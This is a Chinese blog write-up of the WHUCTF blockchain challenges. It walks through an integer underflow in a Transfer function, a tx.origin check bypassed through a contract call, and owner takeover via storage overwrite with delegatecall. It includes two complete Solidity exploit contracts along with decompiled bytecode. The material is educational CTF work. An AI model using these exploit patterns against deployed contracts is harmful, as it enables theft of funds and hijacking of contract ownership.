WHUCTF BlockChain wp

W

武大的比赛,第三题很有意思~

智能合约? 那是啥

  • 20 pt
  • 17 Solves
  • 附件
  • 题目描述:
    • FLAG, 点击就送

下下来附件直接看源码,发现 flag 在链上存储,直接去这里查看即可

现在来做运算吧

  • 198 pt
  • 3 Solves
  • 附件
  • 题目描述:

压缩包里给了源码,先看怎么拿 flag:

function GetTheFlag(string b64email) public{
	require(tx.origin != msg.sender);
	require(unlock[msg.sender] == true);
	emit FLAG(b64email, " You got the flag!!");
}

两个 require,第一个用合约调用绕过,第二个可能需要我们先解锁,搜索一下 unlock,发现在 deposit 里可以改变状态:

function Deposit(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
	require(_value > 5);
	balances[_to] += _value;
	if (balances[_to] == 5) {
		unlock[msg.sender] = true;
	}
}

仔细审计一下不难发现我们要满足两个矛盾的条件,我们不仅要给自己加一个比五块钱大的数,还要让我们的 balance 正好等于五块钱。如果只看这一个函数的话无解,所以再看看其他功能。有个转账的 Transfer 函数,没有检查下溢出,所以我们可以利用这一点来使这个看似矛盾的条件成了。

function Transfer(address _to, uint8 _value, bytes32 _pass) public payable NeedPass(_pass) {
	require(balances[msg.sender] - _value >= 0);
	balances[msg.sender] -= _value;
	balances[_to] += _value;
}

所以我们先调用 transfer 给随便一个人转钱,把自己的余额下溢出(比如转 10 块钱,这样余额就是245),再调用 deposit 给自己充值 15 块钱,这样就满足了题目的条件。

此外,调用函数还需要输入个 pass,由于这个 pass 是存在链上的,所以按照第一题的方法直接去 etherscan 上找就行;还有一点就是上述操作都要用合约来进行以满足 tx.origin != msg.sender,至于原理请看这篇文章。我的合约 exp:

contract exp{
    // imagin Author : imagin
    // Blog : https://imagin.vip
    // Filename : exp.sol
    // Usage : 部署后依次调用 exp1 exp2 exp3

    string email = "aW1hZ2luX3NjaEAxMjYuY29t";
    Bank b = Bank(0x63266aaf6bdF3076a02D49eB73aE847cfd0A945c);
    
    function exp() public payable{
        b.Transfer.value(msg.value)(0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110, 10, 
                0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
        
    }
    function exp2(address addr)public payable{
        b.Deposit.value(msg.value)(addr, 15, 
                0x546831735f31735f6e30745f615f70617373212079696e6779696e6779696e67);
    }
    
    function exp3(string email) public {
        b.GetTheFlag(email);
    }
    
    function balan(address addr) view returns(uint) {
        return b.GetBalance(addr);
    }
    
    function lock(address addr) view returns(bool) {
        return b.GetLockedState(addr);
    }
}

Easy_Contract

  • 300 pt
  • 1 Solves
  • 附件
  • 题目描述:
    • 啊, 附件里好像少了点啥…
    • 原地址无法接收flag,请使用新地址 新地址: 0x5200E5207b54A70adF77E150A9002dfEF2ECa805 其余信息不变

这题好像从头到尾都只有我一个人在做,合约的交易历史里都没有别人 2333。

压缩包里没源码,只能反编译完硬看,好在代码不长,勉强能看明白。

首先这个合约里提到了仨地址,0x59b4a0d7a0d648069e0145660722f0994b8327f3 是主合约,还有两个地址分别是 0x0a51475da3b09E13a71359D4cD3c295f0Caf1588 和 0xbd700aC7F56a35e8312478ED38688EABbd0A607C。去 etherscan 上反编译会发现这俩合约的编码一样,都是有个签名为 f1596cc8 的函数会把传过来的参数赋给 slot0:

def storage:
  stor0 is uint256 at storage 0

def _fallback() payable: # default function
  revert

def unknownf1596cc8(uint256 _param1): # not payable
  stor0 = _param1

同时我们反编译主合约 0x59b4a0d7a0d648069e0145660722f0994b8327f3 的代码,首先把 storage 结构拎出来:

slot 0  :  0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588
slot 1  :  0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c
slot 2  :  0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d
slot 3  :  0x0000000000000000000000000000000000000000000000000000000000000000
slot 4  :  0x0000000000000000000000000a51475da3b09e13a71359d4cd3c295f0caf1588
slot 5  :  0x000000000000000000000000bd700ac7f56a35e8312478ed38688eabbd0a607c
slot 6  :  0x000000000000000000000000972db6113b2a90e4a674c3ac0216549fb626858d

会发现 slot 0 1 2 和 slot 4 5 6 是相等的,slot 0 1 又分别是题目给的另外两个合约的地址,slot 2 是创建合约的出题人地址。此外,题目给了 getflag 的函数叫 GetTheFlag,参数是一个 string,所以我们可以用下面的脚本算出来这个函数对应哪个签名:

import sha3
h = sha3.keccak_256("GetTheFlag(string)".encode()).hexdigest()
print(h[:8])

# Output:
# 576cc7e3

对应我们反编译后的代码,就是这一段:

def unknown576cc7e3(array _param1): # not payable
	mem[128 len _param1.length] = _param1[all]
	require caller != tx.origin
	require owner == tx.origin
	unknown396bdc6fAddress = stor4
	unknown87e133cfAddress = stor5
	owner = stor6
	mem[ceil32(_param1.length) + 128] = 64
	mem[ceil32(_param1.length) + 224 len ceil32(_param1.length)] = 
                _param1[all], mem[_param1.length + 128 len ceil32(_param1.length)
                - _param1.length]
	mem[_param1.length + ceil32(_param1.length) + 224] = 19
	mem[_param1.length + ceil32(_param1.length) + 256] = ' You got the flag!!'

可以看到主要有两个 require,我们得用一个出题人创建的合约调用这个函数才能成功。继续审源码,发现另外的函数很有意思:

def unknown79bf10e6(uint256 _param1): # not payable
	delegate unknown396bdc6fAddress with:
		funct (Mask(32, 224, sha3('PreserveID(uint256)')) >> 224)
			gas gas_remaining wei
			args _param1

这里用 delegate 调用了 unknown396bdc6fAddress,再看看 storage 布局,会发现 unknown396bdc6fAddress 就是 slot 0 的 PreserveID(),我们用之前的方法在计算下 PreserveID(uint256) 的哈希值,会发现前八位果然就是 f1596cc8。也就是说这里使用 delegate 调用 slot0 这个地址合约的 f1596cc8 函数,而这个函数会把传过来的参数写到 slot0 上(关于 delegate 造成变量覆盖的原理请看这里),就会覆盖掉本身的合约地址,也就是说我们可以通过调用这个函数把 slot0 指向攻击合约。

到这里题目基本就有下手点了,但是由于我做题时没完全理清楚逻辑,在做到这一步时我先去 etherscan 上翻出题人部署的其他合约,想通过将 slot0 覆盖成出题人的另一个合约,再通过某种方式覆盖掉 memory 上的调用信息来获得 flag,但是很遗憾第一个是没找到出题人部署的合适的合约,第二是是在不知道怎么覆盖掉 memory(这里应该是没法覆盖的,做题时脑残了),所以卡了很久。后来跟出题人讨( p ) 论 ( y ) 了一波才发现直接把 slot0 指向我部署的合约就可以了 o(╥﹏╥)o。

如果合约不是出题人部署的,那我们还得想办法满足 owner == tx.origin,也就是说我们需要把 owner 覆盖掉,这就简单多了。我们第一次调用 79bf10e6 把 slot0 覆盖成攻击合约的地址,再调用一次 79bf10e6,这样主合约就会调用攻击合约的 PreserveID(),由于攻击合约的代码是我们完全可控的,在这里把 slot2 覆盖成我的以太坊地址就可以满足条件 getflag。我的 exp:

contract exp{
    // imagin Author : imagin
    // Blog : https://imagin.vip
    // Filename : exp.sol
    // Usage : 部署后依次调用 step1 step2 getflag

    bytes32 rub1;
    bytes32 rub2;
    address owner;
    
    address tt = 0x5200E5207b54A70adF77E150A9002dfEF2ECa805;
    target tar = target(tt);
    address public my;

    function step1(address addr){
        my = addr;
        bytes4 methodId = bytes4(0x07d8d717);
        tt.call(methodId, addr);
    }
    
    function step2(address addr){
        bytes4 methodId = bytes4(0x79bf10e6);
        tt.call(methodId, 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110);
    }

    function PreserveID(uint256 a) public{
        owner = 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110;
    }
    
    function getflag(){
        tar.GetTheFlag("aW1hZ2luX3NjaEAxMjYuY29t");
    }
    
    function getOwner()public view returns(address){
        return tar.owner();
    }
}

这个 exp 调试花了挺长时间的,第一是因为套娃调用,默认的 gas 值会不够而导致交易失败,在交易界面给 Gas Limit 加个 0 就好了。

其次,由于是 delegate call,所以不要在攻击合约里写 this,会被当做主合约的地址解析。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.